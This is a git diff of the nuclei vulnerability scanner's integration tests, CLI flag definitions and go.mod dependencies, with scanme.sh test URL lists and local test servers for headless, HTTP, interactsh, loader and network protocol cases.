https://scanme.sh/?a=35
https://scanme.sh/?a=36
https://scanme.sh/?a=37
https://scanme.sh/?a=38
https://scanme.sh/?a=39
https://scanme.sh/?a=40
https://scanme.sh/?a=41
https://scanme.sh/?a=42
https://scanme.sh/?a=43
https://scanme.sh/?a=44
https://scanme.sh/?a=45
https://scanme.sh/?a=46
https://scanme.sh/?a=47
https://scanme.sh/?a=48
https://scanme.sh/?a=49
https://scanme.sh/?a=50
https://scanme.sh/?a=51
https://scanme.sh/?a=52
https://scanme.sh/?a=53
https://scanme.sh/?a=54
https://scanme.sh/?a=55
https://scanme.sh/?a=56
https://scanme.sh/?a=57
https://scanme.sh/?a=58
https://scanme.sh/?a=59
https://scanme.sh/?a=60
https://scanme.sh/?a=61
https://scanme.sh/?a=62
https://scanme.sh/?a=63
https://scanme.sh/?a=64
https://scanme.sh/?a=65
https://scanme.sh/?a=66
https://scanme.sh/?a=67
https://scanme.sh/?a=68
https://scanme.sh/?a=69
https://scanme.sh/?a=70
https://scanme.sh/?a=71
https://scanme.sh/?a=72
https://scanme.sh/?a=73
https://scanme.sh/?a=74
https://scanme.sh/?a=75
https://scanme.sh/?a=76
https://scanme.sh/?a=77
https://scanme.sh/?a=78
https://scanme.sh/?a=79
https://scanme.sh/?a=80
https://scanme.sh/?a=81
https://scanme.sh/?a=82
https://scanme.sh/?a=83
https://scanme.sh/?a=84
https://scanme.sh/?a=85
https://scanme.sh/?a=86
https://scanme.sh/?a=87
https://scanme.sh/?a=88
https://scanme.sh/?a=89
https://scanme.sh/?a=90
https://scanme.sh/?a=91
https://scanme.sh/?a=92
https://scanme.sh/?a=93
https://scanme.sh/?a=94
https://scanme.sh/?a=95
https://scanme.sh/?a=96
https://scanme.sh/?a=97
https://scanme.sh/?a=98
https://scanme.sh/?a=99
https://scanme.sh/?a=100
https://scanme.sh/?a=101
https://scanme.sh/?a=102
https://scanme.sh/?a=103
https://scanme.sh/?a=104
https://scanme.sh/?a=105
https://scanme.sh/?a=106
https://scanme.sh/?a=107
https://scanme.sh/?a=108
https://scanme.sh/?a=109
https://scanme.sh/?a=110
https://scanme.sh/?a=111
https://scanme.sh/?a=112
https://scanme.sh/?a=113
https://scanme.sh/?a=114
https://scanme.sh/?a=115
https://scanme.sh/?a=116
https://scanme.sh/?a=117
https://scanme.sh/?a=118
https://scanme.sh/?a=119
https://scanme.sh/?a=120
https://scanme.sh/?a=121
https://scanme.sh/?a=122
https://scanme.sh/?a=123
https://scanme.sh/?a=124
https://scanme.sh/?a=125
https://scanme.sh/?a=126
https://scanme.sh/?a=127
https://scanme.sh/?a=128
https://scanme.sh/?a=129
https://scanme.sh/?a=130
https://scanme.sh/?a=131
https://scanme.sh/?a=132
https://scanme.sh/?a=133
https://scanme.sh/?a=134
https://scanme.sh/?a=135
https://scanme.sh/?a=136
https://scanme.sh/?a=137
https://scanme.sh/?a=138
https://scanme.sh/?a=139
https://scanme.sh/?a=140
https://scanme.sh/?a=141
https://scanme.sh/?a=142
https://scanme.sh/?a=143
https://scanme.sh/?a=144
https://scanme.sh/?a=145
https://scanme.sh/?a=146
https://scanme.sh/?a=147
https://scanme.sh/?a=148
https://scanme.sh/?a=149
https://scanme.sh/?a=150

View File

@ -0,0 +1,250 @@
https://scanme.sh/?a=1
https://scanme.sh/?a=2
https://scanme.sh/?a=3
https://scanme.sh/?a=4
https://scanme.sh/?a=5
https://scanme.sh/?a=6
https://scanme.sh/?a=7
https://scanme.sh/?a=8
https://scanme.sh/?a=9
https://scanme.sh/?a=10
https://scanme.sh/?a=11
https://scanme.sh/?a=12
https://scanme.sh/?a=13
https://scanme.sh/?a=14
https://scanme.sh/?a=15
https://scanme.sh/?a=16
https://scanme.sh/?a=17
https://scanme.sh/?a=18
https://scanme.sh/?a=19
https://scanme.sh/?a=20
https://scanme.sh/?a=21
https://scanme.sh/?a=22
https://scanme.sh/?a=23
https://scanme.sh/?a=24
https://scanme.sh/?a=25
https://scanme.sh/?a=26
https://scanme.sh/?a=27
https://scanme.sh/?a=28
https://scanme.sh/?a=29
https://scanme.sh/?a=30
https://scanme.sh/?a=31
https://scanme.sh/?a=32
https://scanme.sh/?a=33
https://scanme.sh/?a=34
https://scanme.sh/?a=35
https://scanme.sh/?a=36
https://scanme.sh/?a=37
https://scanme.sh/?a=38
https://scanme.sh/?a=39
https://scanme.sh/?a=40
https://scanme.sh/?a=41
https://scanme.sh/?a=42
https://scanme.sh/?a=43
https://scanme.sh/?a=44
https://scanme.sh/?a=45
https://scanme.sh/?a=46
https://scanme.sh/?a=47
https://scanme.sh/?a=48
https://scanme.sh/?a=49
https://scanme.sh/?a=50
https://scanme.sh/?a=51
https://scanme.sh/?a=52
https://scanme.sh/?a=53
https://scanme.sh/?a=54
https://scanme.sh/?a=55
https://scanme.sh/?a=56
https://scanme.sh/?a=57
https://scanme.sh/?a=58
https://scanme.sh/?a=59
https://scanme.sh/?a=60
https://scanme.sh/?a=61
https://scanme.sh/?a=62
https://scanme.sh/?a=63
https://scanme.sh/?a=64
https://scanme.sh/?a=65
https://scanme.sh/?a=66
https://scanme.sh/?a=67
https://scanme.sh/?a=68
https://scanme.sh/?a=69
https://scanme.sh/?a=70
https://scanme.sh/?a=71
https://scanme.sh/?a=72
https://scanme.sh/?a=73
https://scanme.sh/?a=74
https://scanme.sh/?a=75
https://scanme.sh/?a=76
https://scanme.sh/?a=77
https://scanme.sh/?a=78
https://scanme.sh/?a=79
https://scanme.sh/?a=80
https://scanme.sh/?a=81
https://scanme.sh/?a=82
https://scanme.sh/?a=83
https://scanme.sh/?a=84
https://scanme.sh/?a=85
https://scanme.sh/?a=86
https://scanme.sh/?a=87
https://scanme.sh/?a=88
https://scanme.sh/?a=89
https://scanme.sh/?a=90
https://scanme.sh/?a=91
https://scanme.sh/?a=92
https://scanme.sh/?a=93
https://scanme.sh/?a=94
https://scanme.sh/?a=95
https://scanme.sh/?a=96
https://scanme.sh/?a=97
https://scanme.sh/?a=98
https://scanme.sh/?a=99
https://scanme.sh/?a=100
https://scanme.sh/?a=101
https://scanme.sh/?a=102
https://scanme.sh/?a=103
https://scanme.sh/?a=104
https://scanme.sh/?a=105
https://scanme.sh/?a=106
https://scanme.sh/?a=107
https://scanme.sh/?a=108
https://scanme.sh/?a=109
https://scanme.sh/?a=110
https://scanme.sh/?a=111
https://scanme.sh/?a=112
https://scanme.sh/?a=113
https://scanme.sh/?a=114
https://scanme.sh/?a=115
https://scanme.sh/?a=116
https://scanme.sh/?a=117
https://scanme.sh/?a=118
https://scanme.sh/?a=119
https://scanme.sh/?a=120
https://scanme.sh/?a=121
https://scanme.sh/?a=122
https://scanme.sh/?a=123
https://scanme.sh/?a=124
https://scanme.sh/?a=125
https://scanme.sh/?a=126
https://scanme.sh/?a=127
https://scanme.sh/?a=128
https://scanme.sh/?a=129
https://scanme.sh/?a=130
https://scanme.sh/?a=131
https://scanme.sh/?a=132
https://scanme.sh/?a=133
https://scanme.sh/?a=134
https://scanme.sh/?a=135
https://scanme.sh/?a=136
https://scanme.sh/?a=137
https://scanme.sh/?a=138
https://scanme.sh/?a=139
https://scanme.sh/?a=140
https://scanme.sh/?a=141
https://scanme.sh/?a=142
https://scanme.sh/?a=143
https://scanme.sh/?a=144
https://scanme.sh/?a=145
https://scanme.sh/?a=146
https://scanme.sh/?a=147
https://scanme.sh/?a=148
https://scanme.sh/?a=149
https://scanme.sh/?a=150
https://scanme.sh/?a=151
https://scanme.sh/?a=152
https://scanme.sh/?a=153
https://scanme.sh/?a=154
https://scanme.sh/?a=155
https://scanme.sh/?a=156
https://scanme.sh/?a=157
https://scanme.sh/?a=158
https://scanme.sh/?a=159
https://scanme.sh/?a=160
https://scanme.sh/?a=161
https://scanme.sh/?a=162
https://scanme.sh/?a=163
https://scanme.sh/?a=164
https://scanme.sh/?a=165
https://scanme.sh/?a=166
https://scanme.sh/?a=167
https://scanme.sh/?a=168
https://scanme.sh/?a=169
https://scanme.sh/?a=170
https://scanme.sh/?a=171
https://scanme.sh/?a=172
https://scanme.sh/?a=173
https://scanme.sh/?a=174
https://scanme.sh/?a=175
https://scanme.sh/?a=176
https://scanme.sh/?a=177
https://scanme.sh/?a=178
https://scanme.sh/?a=179
https://scanme.sh/?a=180
https://scanme.sh/?a=181
https://scanme.sh/?a=182
https://scanme.sh/?a=183
https://scanme.sh/?a=184
https://scanme.sh/?a=185
https://scanme.sh/?a=186
https://scanme.sh/?a=187
https://scanme.sh/?a=188
https://scanme.sh/?a=189
https://scanme.sh/?a=190
https://scanme.sh/?a=191
https://scanme.sh/?a=192
https://scanme.sh/?a=193
https://scanme.sh/?a=194
https://scanme.sh/?a=195
https://scanme.sh/?a=196
https://scanme.sh/?a=197
https://scanme.sh/?a=198
https://scanme.sh/?a=199
https://scanme.sh/?a=200
https://scanme.sh/?a=201
https://scanme.sh/?a=202
https://scanme.sh/?a=203
https://scanme.sh/?a=204
https://scanme.sh/?a=205
https://scanme.sh/?a=206
https://scanme.sh/?a=207
https://scanme.sh/?a=208
https://scanme.sh/?a=209
https://scanme.sh/?a=210
https://scanme.sh/?a=211
https://scanme.sh/?a=212
https://scanme.sh/?a=213
https://scanme.sh/?a=214
https://scanme.sh/?a=215
https://scanme.sh/?a=216
https://scanme.sh/?a=217
https://scanme.sh/?a=218
https://scanme.sh/?a=219
https://scanme.sh/?a=220
https://scanme.sh/?a=221
https://scanme.sh/?a=222
https://scanme.sh/?a=223
https://scanme.sh/?a=224
https://scanme.sh/?a=225
https://scanme.sh/?a=226
https://scanme.sh/?a=227
https://scanme.sh/?a=228
https://scanme.sh/?a=229
https://scanme.sh/?a=230
https://scanme.sh/?a=231
https://scanme.sh/?a=232
https://scanme.sh/?a=233
https://scanme.sh/?a=234
https://scanme.sh/?a=235
https://scanme.sh/?a=236
https://scanme.sh/?a=237
https://scanme.sh/?a=238
https://scanme.sh/?a=239
https://scanme.sh/?a=240
https://scanme.sh/?a=241
https://scanme.sh/?a=242
https://scanme.sh/?a=243
https://scanme.sh/?a=244
https://scanme.sh/?a=245
https://scanme.sh/?a=246
https://scanme.sh/?a=247
https://scanme.sh/?a=248
https://scanme.sh/?a=249
https://scanme.sh/?a=250

View File

@ -11,6 +11,7 @@ import (
"github.com/julienschmidt/httprouter" "github.com/julienschmidt/httprouter"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils" "github.com/projectdiscovery/nuclei/v2/pkg/testutils"
permissionutil "github.com/projectdiscovery/utils/permission"
) )
var genericTestcases = []TestCaseInfo{ var genericTestcases = []TestCaseInfo{
@ -84,8 +85,8 @@ func (h *clientCertificate) Execute(filePath string) error {
fmt.Fprintf(w, "Hello, %s!\n", r.TLS.PeerCertificates[0].Subject) fmt.Fprintf(w, "Hello, %s!\n", r.TLS.PeerCertificates[0].Subject)
}) })
_ = os.WriteFile("server.crt", []byte(serverCRT), os.ModePerm) _ = os.WriteFile("server.crt", []byte(serverCRT), permissionutil.ConfigFilePermission)
_ = os.WriteFile("server.key", []byte(serverKey), os.ModePerm) _ = os.WriteFile("server.key", []byte(serverKey), permissionutil.ConfigFilePermission)
defer os.Remove("server.crt") defer os.Remove("server.crt")
defer os.Remove("server.key") defer os.Remove("server.key")

View File

@ -16,7 +16,9 @@ var headlessTestcases = []TestCaseInfo{
{Path: "protocols/headless/headless-extract-values.yaml", TestCase: &headlessExtractValues{}}, {Path: "protocols/headless/headless-extract-values.yaml", TestCase: &headlessExtractValues{}},
{Path: "protocols/headless/headless-payloads.yaml", TestCase: &headlessPayloads{}}, {Path: "protocols/headless/headless-payloads.yaml", TestCase: &headlessPayloads{}},
{Path: "protocols/headless/variables.yaml", TestCase: &headlessVariables{}}, {Path: "protocols/headless/variables.yaml", TestCase: &headlessVariables{}},
{Path: "protocols/headless/headless-local.yaml", TestCase: &headlessLocal{}},
{Path: "protocols/headless/file-upload.yaml", TestCase: &headlessFileUpload{}}, {Path: "protocols/headless/file-upload.yaml", TestCase: &headlessFileUpload{}},
{Path: "protocols/headless/file-upload-negative.yaml", TestCase: &headlessFileUploadNegative{}},
{Path: "protocols/headless/headless-header-status-test.yaml", TestCase: &headlessHeaderStatus{}}, {Path: "protocols/headless/headless-header-status-test.yaml", TestCase: &headlessHeaderStatus{}},
} }
@ -39,6 +41,27 @@ func (h *headlessBasic) Execute(filePath string) error {
return expectResultsCount(results, 1) return expectResultsCount(results, 1)
} }
type headlessLocal struct{}
// Execute executes a test case and returns an error if occurred
// in this testcases local network access is disabled
func (h *headlessLocal) Execute(filePath string) error {
router := httprouter.New()
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
_, _ = w.Write([]byte("<html><body></body></html>"))
})
ts := httptest.NewServer(router)
defer ts.Close()
args := []string{"-t", filePath, "-u", ts.URL, "-headless", "-lna"}
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)
if err != nil {
return err
}
return expectResultsCount(results, 0)
}
type headlessHeaderActions struct{} type headlessHeaderActions struct{}
// Execute executes a test case and returns an error if occurred // Execute executes a test case and returns an error if occurred
@ -171,3 +194,48 @@ func (h *headlessHeaderStatus) Execute(filePath string) error {
return expectResultsCount(results, 1) return expectResultsCount(results, 1)
} }
type headlessFileUploadNegative struct{}
// Execute executes a test case and returns an error if occurred
func (h *headlessFileUploadNegative) Execute(filePath string) error {
router := httprouter.New()
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
_, _ = w.Write([]byte(`
<!doctype html>
<body>
<form method=post enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
</body>
</html>
`))
})
router.POST("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
file, _, err := r.FormFile("file")
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
defer file.Close()
content, err := io.ReadAll(file)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
_, _ = w.Write(content)
})
ts := httptest.NewServer(router)
defer ts.Close()
args := []string{"-t", filePath, "-u", ts.URL, "-headless"}
results, err := testutils.RunNucleiWithArgsAndGetResults(debug, args...)
if err != nil {
return err
}
return expectResultsCount(results, 0)
}

View File

@ -1453,11 +1453,25 @@ func (h *httpDisablePathAutomerge) Execute(filePath string) error {
router.GET("/api/v1/test", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { router.GET("/api/v1/test", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
fmt.Fprint(w, r.URL.Query().Get("id")) fmt.Fprint(w, r.URL.Query().Get("id"))
}) })
router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
fmt.Fprint(w, "empty path in raw request")
})
ts := httptest.NewServer(router) ts := httptest.NewServer(router)
defer ts.Close() defer ts.Close()
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/api/v1/user", debug) got, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL+"/api/v1/user", debug)
if err != nil { if err != nil {
return err return err
} }
return expectResultsCount(got, 2)
}
type httpInteractshRequestsWithMCAnd struct{}
func (h *httpInteractshRequestsWithMCAnd) Execute(filePath string) error {
got, err := testutils.RunNucleiTemplateAndGetResults(filePath, "honey.scanme.sh", debug)
if err != nil {
return err
}
return expectResultsCount(got, 1) return expectResultsCount(got, 1)
} }

View File

@ -6,5 +6,6 @@ import osutils "github.com/projectdiscovery/utils/os"
var interactshTestCases = []TestCaseInfo{ var interactshTestCases = []TestCaseInfo{
{Path: "protocols/http/interactsh.yaml", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }}, {Path: "protocols/http/interactsh.yaml", TestCase: &httpInteractshRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
{Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }}, {Path: "protocols/http/interactsh-stop-at-first-match.yaml", TestCase: &httpInteractshStopAtFirstMatchRequest{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }},
{Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return osutils.IsWindows() || osutils.IsOSX() }}, {Path: "protocols/http/default-matcher-condition.yaml", TestCase: &httpDefaultMatcherCondition{}, DisableOn: func() bool { return true }}, // disable this test for now
{Path: "protocols/http/interactsh-requests-mc-and.yaml", TestCase: &httpInteractshRequestsWithMCAnd{}},
} }

View File

@ -10,6 +10,7 @@ import (
"github.com/julienschmidt/httprouter" "github.com/julienschmidt/httprouter"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils" "github.com/projectdiscovery/nuclei/v2/pkg/testutils"
permissionutil "github.com/projectdiscovery/utils/permission"
) )
var loaderTestcases = []TestCaseInfo{ var loaderTestcases = []TestCaseInfo{
@ -48,13 +49,13 @@ func (h *remoteTemplateList) Execute(templateList string) error {
defer ts.Close() defer ts.Close()
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]` configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
err := os.WriteFile("test-config.yaml", []byte(configFileData), os.ModePerm) err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
if err != nil { if err != nil {
return err return err
} }
defer os.Remove("test-config.yaml") defer os.Remove("test-config.yaml")
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/template_list", "-config", "test-config.yaml") results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/template_list", "-config", "test-config.yaml")
if err != nil { if err != nil {
return err return err
} }
@ -111,7 +112,7 @@ func (h *remoteTemplateListNotAllowed) Execute(templateList string) error {
ts := httptest.NewServer(router) ts := httptest.NewServer(router)
defer ts.Close() defer ts.Close()
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/template_list") _, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/template_list")
if err == nil { if err == nil {
return fmt.Errorf("expected error for not allowed remote template list url") return fmt.Errorf("expected error for not allowed remote template list url")
} }
@ -147,13 +148,13 @@ func (h *remoteWorkflowList) Execute(workflowList string) error {
defer ts.Close() defer ts.Close()
configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]` configFileData := `remote-template-domain: [ "` + ts.Listener.Addr().String() + `" ]`
err := os.WriteFile("test-config.yaml", []byte(configFileData), os.ModePerm) err := os.WriteFile("test-config.yaml", []byte(configFileData), permissionutil.ConfigFilePermission)
if err != nil { if err != nil {
return err return err
} }
defer os.Remove("test-config.yaml") defer os.Remove("test-config.yaml")
results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-wu", ts.URL+"/workflow_list", "-config", "test-config.yaml") results, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-workflow-url", ts.URL+"/workflow_list", "-config", "test-config.yaml")
if err != nil { if err != nil {
return err return err
} }
@ -169,7 +170,7 @@ func (h *nonExistentTemplateList) Execute(nonExistingTemplateList string) error
ts := httptest.NewServer(router) ts := httptest.NewServer(router)
defer ts.Close() defer ts.Close()
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-tu", ts.URL+"/404") _, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-template-url", ts.URL+"/404")
if err == nil { if err == nil {
return fmt.Errorf("expected error for nonexisting workflow url") return fmt.Errorf("expected error for nonexisting workflow url")
} }
@ -185,7 +186,7 @@ func (h *nonExistentWorkflowList) Execute(nonExistingWorkflowList string) error
ts := httptest.NewServer(router) ts := httptest.NewServer(router)
defer ts.Close() defer ts.Close()
_, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-wu", ts.URL+"/404") _, err := testutils.RunNucleiBareArgsAndGetResults(debug, "-target", ts.URL, "-workflow-url", ts.URL+"/404")
if err == nil { if err == nil {
return fmt.Errorf("expected error for nonexisting workflow url") return fmt.Errorf("expected error for nonexisting workflow url")
} }

View File

@ -2,6 +2,7 @@ package main
import ( import (
"net" "net"
"strings"
"github.com/projectdiscovery/nuclei/v2/pkg/testutils" "github.com/projectdiscovery/nuclei/v2/pkg/testutils"
osutils "github.com/projectdiscovery/utils/os" osutils "github.com/projectdiscovery/utils/os"
@ -14,6 +15,7 @@ var networkTestcases = []TestCaseInfo{
{Path: "protocols/network/self-contained.yaml", TestCase: &networkRequestSelContained{}}, {Path: "protocols/network/self-contained.yaml", TestCase: &networkRequestSelContained{}},
{Path: "protocols/network/variables.yaml", TestCase: &networkVariables{}}, {Path: "protocols/network/variables.yaml", TestCase: &networkVariables{}},
{Path: "protocols/network/same-address.yaml", TestCase: &networkBasic{}}, {Path: "protocols/network/same-address.yaml", TestCase: &networkBasic{}},
{Path: "protocols/network/network-port.yaml", TestCase: &networkPort{}},
} }
const defaultStaticPort = 5431 const defaultStaticPort = 5431
@ -145,3 +147,62 @@ func (h *networkVariables) Execute(filePath string) error {
return expectResultsCount(results, 1) return expectResultsCount(results, 1)
} }
type networkPort struct{}
func (n *networkPort) Execute(filePath string) error {
ts := testutils.NewTCPServer(nil, 23846, func(conn net.Conn) {
defer conn.Close()
data := make([]byte, 4)
if _, err := conn.Read(data); err != nil {
return
}
if string(data) == "PING" {
_, _ = conn.Write([]byte("PONG"))
}
})
defer ts.Close()
results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)
if err != nil {
return err
}
if err := expectResultsCount(results, 1); err != nil {
return err
}
// even though we passed port 443 in url it is ignored and port 23846 is used
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, "23846", "443"), debug)
if err != nil {
return err
}
if err := expectResultsCount(results, 1); err != nil {
return err
}
// this is positive test case where we expect port to be overridden and 34567 to be used
ts2 := testutils.NewTCPServer(nil, 34567, func(conn net.Conn) {
defer conn.Close()
data := make([]byte, 4)
if _, err := conn.Read(data); err != nil {
return
}
if string(data) == "PING" {
_, _ = conn.Write([]byte("PONG"))
}
})
defer ts2.Close()
// even though we passed port 443 in url it is ignored and port 23846 is used
// instead of hardcoded port 23846 in template
results, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts2.URL, debug)
if err != nil {
return err
}
return expectResultsCount(results, 1)
}

View File

@ -16,6 +16,7 @@ import (
"github.com/projectdiscovery/gologger" "github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/gologger/levels" "github.com/projectdiscovery/gologger/levels"
"github.com/projectdiscovery/interactsh/pkg/client" "github.com/projectdiscovery/interactsh/pkg/client"
"github.com/projectdiscovery/nuclei/v2/internal/installer"
"github.com/projectdiscovery/nuclei/v2/internal/runner" "github.com/projectdiscovery/nuclei/v2/internal/runner"
"github.com/projectdiscovery/nuclei/v2/pkg/catalog/config" "github.com/projectdiscovery/nuclei/v2/pkg/catalog/config"
"github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity" "github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity"
@ -188,14 +189,14 @@ on extensive configurability, massive extensibility and ease of use.`)
flagSet.StringSliceVarP(&options.NewTemplatesWithVersion, "new-templates-version", "ntv", nil, "run new templates added in specific version", goflags.CommaSeparatedStringSliceOptions), flagSet.StringSliceVarP(&options.NewTemplatesWithVersion, "new-templates-version", "ntv", nil, "run new templates added in specific version", goflags.CommaSeparatedStringSliceOptions),
flagSet.BoolVarP(&options.AutomaticScan, "automatic-scan", "as", false, "automatic web scan using wappalyzer technology detection to tags mapping"), flagSet.BoolVarP(&options.AutomaticScan, "automatic-scan", "as", false, "automatic web scan using wappalyzer technology detection to tags mapping"),
flagSet.StringSliceVarP(&options.Templates, "templates", "t", nil, "list of template or template directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.StringSliceVarP(&options.Templates, "templates", "t", nil, "list of template or template directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.StringSliceVarP(&options.TemplateURLs, "template-url", "tu", nil, "list of template urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.StringSliceVarP(&options.TemplateURLs, "template-url", "turl", nil, "template url or list containing template urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", nil, "list of workflow or workflow directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.StringSliceVarP(&options.Workflows, "workflows", "w", nil, "list of workflow or workflow directory to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wu", nil, "list of workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions), flagSet.StringSliceVarP(&options.WorkflowURLs, "workflow-url", "wurl", nil, "workflow url or list containing workflow urls to run (comma-separated, file)", goflags.FileCommaSeparatedStringSliceOptions),
flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"), flagSet.BoolVar(&options.Validate, "validate", false, "validate the passed templates to nuclei"),
flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"), flagSet.BoolVarP(&options.NoStrictSyntax, "no-strict-syntax", "nss", false, "disable strict syntax check on templates"),
flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"), flagSet.BoolVarP(&options.TemplateDisplay, "template-display", "td", false, "displays the templates content"),
flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"), flagSet.BoolVar(&options.TemplateList, "tl", false, "list all available templates"),
flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"api.nuclei.sh"}, "allowed domain list to load remote templates from"), flagSet.StringSliceVarConfigOnly(&options.RemoteTemplateDomainList, "remote-template-domain", []string{"templates.nuclei.sh"}, "allowed domain list to load remote templates from"),
flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"), flagSet.BoolVar(&options.SignTemplates, "sign", false, "signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable"),
) )
@ -392,6 +393,11 @@ on extensive configurability, massive extensibility and ease of use.`)
gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug) gologger.DefaultLogger.SetTimestamp(options.Timestamp, levels.LevelDebug)
if options.VerboseVerbose {
// hide release notes if silent mode is enabled
installer.HideReleaseNotes = false
}
if options.LeaveDefaultPorts { if options.LeaveDefaultPorts {
http.LeaveDefaultPorts = true http.LeaveDefaultPorts = true
} }

View File

@ -21,12 +21,12 @@ require (
github.com/olekukonko/tablewriter v0.0.5 github.com/olekukonko/tablewriter v0.0.5
github.com/pkg/errors v0.9.1 github.com/pkg/errors v0.9.1
github.com/projectdiscovery/clistats v0.0.19 github.com/projectdiscovery/clistats v0.0.19
github.com/projectdiscovery/fastdialer v0.0.36 github.com/projectdiscovery/fastdialer v0.0.37
github.com/projectdiscovery/hmap v0.0.15 github.com/projectdiscovery/hmap v0.0.18
github.com/projectdiscovery/interactsh v1.1.4 github.com/projectdiscovery/interactsh v1.1.6
github.com/projectdiscovery/rawhttp v0.1.18 github.com/projectdiscovery/rawhttp v0.1.18
github.com/projectdiscovery/retryabledns v1.0.35 github.com/projectdiscovery/retryabledns v1.0.35
github.com/projectdiscovery/retryablehttp-go v1.0.24 github.com/projectdiscovery/retryablehttp-go v1.0.26
github.com/projectdiscovery/yamldoc-go v1.0.4 github.com/projectdiscovery/yamldoc-go v1.0.4
github.com/remeh/sizedwaitgroup v1.0.0 github.com/remeh/sizedwaitgroup v1.0.0
github.com/rs/xid v1.5.0 github.com/rs/xid v1.5.0
@ -36,7 +36,7 @@ require (
github.com/spf13/cast v1.5.1 github.com/spf13/cast v1.5.1
github.com/syndtr/goleveldb v1.0.0 github.com/syndtr/goleveldb v1.0.0
github.com/valyala/fasttemplate v1.2.2 github.com/valyala/fasttemplate v1.2.2
github.com/weppos/publicsuffix-go v0.30.1-0.20230422193905-8fecedd899db github.com/weppos/publicsuffix-go v0.30.2-0.20230730094716-a20f9abcc222
github.com/xanzy/go-gitlab v0.84.0 github.com/xanzy/go-gitlab v0.84.0
go.uber.org/multierr v1.11.0 go.uber.org/multierr v1.11.0
golang.org/x/net v0.14.0 golang.org/x/net v0.14.0
@ -59,17 +59,18 @@ require (
github.com/aws/aws-sdk-go-v2/credentials v1.13.27 github.com/aws/aws-sdk-go-v2/credentials v1.13.27
github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.72 github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.72
github.com/aws/aws-sdk-go-v2/service/s3 v1.37.0 github.com/aws/aws-sdk-go-v2/service/s3 v1.37.0
github.com/charmbracelet/glamour v0.6.0
github.com/docker/go-units v0.5.0 github.com/docker/go-units v0.5.0
github.com/dop251/goja v0.0.0-20230812105242-81d76064690d github.com/dop251/goja v0.0.0-20230812105242-81d76064690d
github.com/fatih/structs v1.1.0 github.com/fatih/structs v1.1.0
github.com/go-git/go-git/v5 v5.7.0 github.com/go-git/go-git/v5 v5.7.0
github.com/h2non/filetype v1.1.3 github.com/h2non/filetype v1.1.3
github.com/klauspost/compress v1.16.6 github.com/klauspost/compress v1.16.7
github.com/labstack/echo/v4 v4.10.2 github.com/labstack/echo/v4 v4.10.2
github.com/mholt/archiver v3.1.1+incompatible github.com/mholt/archiver v3.1.1+incompatible
